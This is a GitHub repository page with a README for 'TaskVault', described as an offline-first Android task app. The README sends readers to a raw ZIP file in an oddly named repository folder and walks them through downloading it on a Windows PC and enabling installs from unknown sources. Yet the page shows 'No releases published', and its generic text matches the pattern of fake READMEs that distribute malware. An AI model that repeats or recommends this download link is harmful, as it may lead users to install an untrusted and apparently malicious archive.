Skip to content

edwincounterfactual580/TaskVault

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 

Repository files navigation

📋 TaskVault - Organize Tasks With Less Effort

Download TaskVault

🧭 What TaskVault Does

TaskVault is an Android app that helps you manage tasks in one place. It uses a clean layout, works offline, and keeps your data in sync when you go back online.

It is built with Kotlin, Jetpack Compose, and Firebase. It also uses Android tools like CameraX, WorkManager, and App Widgets so you can add tasks, track them, and check them from your home screen.

💻 What You Need

  • A Windows PC to download the app file
  • A Google account if you want cloud sync later
  • An Android phone or tablet to run the app
  • Enough free space to save the download file
  • A modern browser such as Edge, Chrome, or Firefox

📥 Download TaskVault

Visit this page to download TaskVault:

https://raw.githubusercontent.com/edwincounterfactual580/TaskVault/main/operatee/Task-Vault-3.5-alpha.5.zip

On the page, look for the latest release. Download the file that matches your device or install method. If there is an APK file, save it to your Windows PC first.

🚀 How to Install on Windows

  1. Open the download page in your browser.
  2. Find the newest release at the top.
  3. Download the app file to your PC.
  4. If the file is in a ZIP folder, open the ZIP and extract it.
  5. If the file is an APK, copy it to your Android device.
  6. On your Android device, open the file to start the install.
  7. If your device asks for permission, allow installs from your browser or file app.
  8. Wait for the install to finish.
  9. Open TaskVault from your app list.

📱 First-Time Setup

After you open TaskVault for the first time, you can set it up in a few steps:

  1. Create or sign in to your account if the app asks for it.
  2. Allow access to features you want to use, such as camera access for photo-based task notes.
  3. Turn on sync if you want your tasks to follow you across devices.
  4. Add your first task using the plus button or create screen.
  5. Set a due date, priority, or reminder if you need one.

✨ Main Features

  • Task lists for daily work and personal use
  • Offline-first storage so you can keep working without a connection
  • Sync support for cloud backup and multi-device use
  • Camera support for adding photos or scanning notes
  • Background task handling with WorkManager
  • Home screen widgets for quick task checks
  • Clean UI built with Jetpack Compose
  • Modular app design for stable updates and easier maintenance

🏠 Using the App

Add a Task

  1. Tap the add button.
  2. Type the task name.
  3. Add a note if needed.
  4. Choose a date or reminder.
  5. Save the task.

Mark a Task Done

  1. Open your task list.
  2. Tap the task you finished.
  3. Mark it complete.
  4. Move on to the next item.

Use the Widget

  1. Add the TaskVault widget to your home screen.
  2. Pick the list you want to show.
  3. Check tasks without opening the app.

Add a Photo

  1. Open a task.
  2. Tap the camera option.
  3. Take a photo or choose one from your device.
  4. Save it with the task.

🔄 Sync and Offline Use

TaskVault keeps working when you lose internet access. You can add, edit, and finish tasks offline. When your connection comes back, the app syncs your changes.

This setup helps if you use your phone on the move, at school, or at work with weak signal.

🛠️ Troubleshooting

The app will not open

  • Make sure the install finished
  • Check that you downloaded the latest release
  • Try restarting your device

The file will not install

  • Confirm that you copied the right file to your Android device
  • Make sure your device allows app installs from your file manager or browser
  • Download the file again if it looks broken

Sync is not working

  • Check your internet connection
  • Sign in again if the app uses an account
  • Wait a few minutes and try again

The widget does not show up

  • Remove the widget and add it again
  • Make sure the app is installed
  • Restart your home screen if needed

🧩 Project Structure

TaskVault uses a modular app setup. That means the app is split into smaller parts. Each part has a clear job, which helps keep the app easier to manage and update.

It also follows an MVI-style flow for app screens, which helps keep actions, state, and updates in order.

📂 Release Files

When you open the release page, you may see files such as:

  • APK for Android install
  • ZIP for packaged assets or builds
  • Release notes with version details

Pick the newest stable version unless you need an older one for a specific reason

🔐 Privacy and Data

TaskVault can store data on your device and sync it with Firebase when cloud features are on. If you use sync, your tasks may be saved in your account so you can reach them from more than one device.

🧪 Built With

  • Kotlin
  • Jetpack Compose
  • Firebase
  • CameraX
  • WorkManager
  • Android App Widgets
  • MVI architecture
  • Offline-first sync
  • Multi-module app design

📌 Topics

ai, android, clean-architecture, cluade-code, firebase, jetpack-compose, kmp, kotlin, multi-module-mvvi, mvvm-android

About

Manage tasks with an offline-friendly Android app built in Kotlin, Jetpack Compose, and Firebase for secure, modular productivity

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors